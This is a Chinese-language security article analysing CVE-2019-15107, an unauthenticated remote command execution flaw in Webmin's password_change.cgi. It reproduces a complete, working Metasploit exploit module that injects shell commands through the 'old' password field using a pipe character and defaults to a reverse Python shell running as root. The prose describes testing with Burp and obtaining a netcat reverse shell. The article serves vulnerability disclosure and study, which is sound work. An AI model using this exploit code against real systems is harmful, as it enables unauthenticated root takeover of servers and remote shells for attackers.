CVE-2019-15107

2019-08-21 9,554

概述

关于该0 day漏洞的介绍在 @DEFCON AppSec Village上已经进行了交流。厂商目前已经修复了该漏洞,建议用户更新Webmin到1.930版本。

Webmin RCE漏洞分析

研究人员发现Webmin <= 1.920版本存在未认证的RCE漏洞。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class
 
MetasploitModule
 < Msf::Exploit::
Remote

  Rank = ExcellentRanking  
include
 Msf::Exploit::Remote::HttpClient  
def
 
initialize
(info = {})

    
super
(update_info(info,      
'Name'
           => 
'Webmin 1.920 Unauthenticated RCE'
,      
'Description'
    => 
%q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.920 and prior versions. If the password change module is turned on, the unathenticated user
        can execute arbitrary commands with root privileges.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      )
,      
'Author'
         => [        
'AkkuS <Özkan Mustafa Akkuş>'
 
# Discovery & PoC & Metasploit module 
@ehakkus

      ],      
'License'
        => MSF_LICENSE,      
'References'
     =>
        [
          [
'CVE'
, 
'2019-'
],
          [
'URL'
, 
'https://www.pentest.com.tr'
]
        ],      
'Privileged'
     => 
true
,      
'Payload'
        =>
        {          
'DisableNops'
 => 
true
,          
'Space'
       => 
512
,          
'Compat'
      =>
            {              
'PayloadType'
 => 
'cmd'

            }
        },      
'DefaultOptions'
 =>
        {          
'RPORT'
 => 
10000
,          
'SSL'
   => 
false
,          
'PAYLOAD'
 => 
'cmd/unix/reverse_python'

        },      
'Platform'
       => 
'unix'
,      
'Arch'
           => ARCH_CMD,      
'Targets'
        => [[
'Webmin <= 1.910'
, {}]],      
'DisclosureDate'
 => 
'May 16 2019'
,      
'DefaultTarget'
  => 
0
)
    )
    register_options [
        OptString.new(
'TARGETURI'
,  [
true
, 
'Base path for Webmin application'
, 
'/'
])
    ]  
end


  
def
 
peer

    
"
#{ssl ? 
'https://'
 : 
'http://'
 }
#{rhost}
:
#{rport}
"

  
end

  
##

  
# Target and input verification

  
##

  
def
 
check

    
# check passwd change priv

    res = send_request_cgi({      
'uri'
     => normalize_uri(target_uri.path, 
"password_change.cgi"
),      
'headers'
 =>
        {          
'Referer'
 => 
"
#{peer}
/session_login.cgi"

        },      
'cookie'
  => 
"redirect=1; testing=1; sid=x; sessiontest=1"

    })    
if
 res && res.code == 
200
 && res.body =~ 
/Failed/

      res = send_request_cgi(
        {        
'method'
 => 
'POST'
,        
'cookie'
 => 
"redirect=1; testing=1; sid=x; sessiontest=1"
,        
'ctype'
  => 
'application/x-www-form-urlencoded'
,        
'uri'
 => normalize_uri(target_uri.path, 
'password_change.cgi'
),        
'headers'
 =>
          {            
'Referer'
 => 
"
#{peer}
/session_login.cgi"

          },        
'data'
 => 
"user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
        
        })      
if
 res && res.code == 
200
 && res.body =~ 
/password_change.cgi/

        
return
 CheckCode::Vulnerable      
else

        
return
 CheckCode::Safe      
end

    
else

      
return
 CheckCode::Safe    
end

  
end


  
##

  
# Exploiting phase

  
##

  
def
 
exploit


    
unless
 Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 
'Target is not vulnerable.'
)    
end


    command = payload.encoded
    print_status(
"Attempting to execute the payload..."
)
    handler

    res = send_request_cgi(
      {      
'method'
 => 
'POST'
,      
'cookie'
 => 
"redirect=1; testing=1; sid=x; sessiontest=1"
,      
'ctype'
  => 
'application/x-www-form-urlencoded'
,      
'uri'
 => normalize_uri(target_uri.path, 
'password_change.cgi'
),      
'headers'
 =>
        {          
'Referer'
 => 
"
#{peer}
/session_login.cgi"

        },      
'data'
 => 
"user=root&pam=&expired=2&old=AkkuS%7c
#{command}
%20&new1=akkuss&new2=akkuss"

      })  
end
end

要利用该漏洞,必须允许webmin中的user password change,这是唯一的条件。许多webmin管理器都启用了该特征。该特征允许用户用旧密码来设置新密码。

研究人员在分析Webmin应用时,注意到了一些.cgi文件,其中一个就是password_change.cgi:

image.png

这是该文件工作所需设置的唯一参数,miniserv.conf配置文件中的passwd_mode值要设置为2。

$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

image.png管理员如何激活该配置呢?

在Webmin> Webmin Configuration> Authentication部分,检查Prompt users with expired passwords to enter a new one。也就是说miniserv.conf中的password_change值为2。

image.png通过该配置,用户就可以验证旧密码来修改过期的密码。那么漏洞原理是什么呢?下面分析一下password_change.cgi。

image.png

password_change.cgi发送旧密码到acl/acl-lib.pl中的encrypt_password函数

该函数会调用另一个函数unix_crypt。

在另一个section中,unix_crypt函数会再次被调用来验证旧密码。

image.png

此时,可以在验证旧密码时读取shadow文件来使用vertical bar (|)。

下面通过burp suite发送请求:

image.png

研究人员发送了一个含有原来POST数据的请求,出现了错误"Failed to change password: The current password is incorrect"。

该漏洞就存在于old参数中。

如果username, old password或其他信息正确的话没有问题。

文件password_change.cgi会检查服务器中的old参数的信息。但并不会检查username是否正确。

研究人员使用vertical bar (|),并尝试在服务器上运行一个不同的命令。

image.png

从上图可以看出,服务器上会执行命令ifconfig,输出结果如上图。

下面发送恶意payload到服务器并接收shell会话。

研究人员使用netcat payload来进行证明,因为研究人员知道服务器上安装了netcat。

image.pngimage.png可以看出接收到了shell。在运行命令pwd后,研究人员发现恶意payload在acl文件夹中执行力。因为该函数在这里被调用了。

image.png

该漏洞看起来像一个后门。更多参见reddit评论https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/ex6q9v6/

本文翻译自:https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html


本文作者:ang010ela

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/110937.html

Tags:
评论  (0)
快来写下你的想法吧!

ang010ela

文章数:56 积分: 711

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号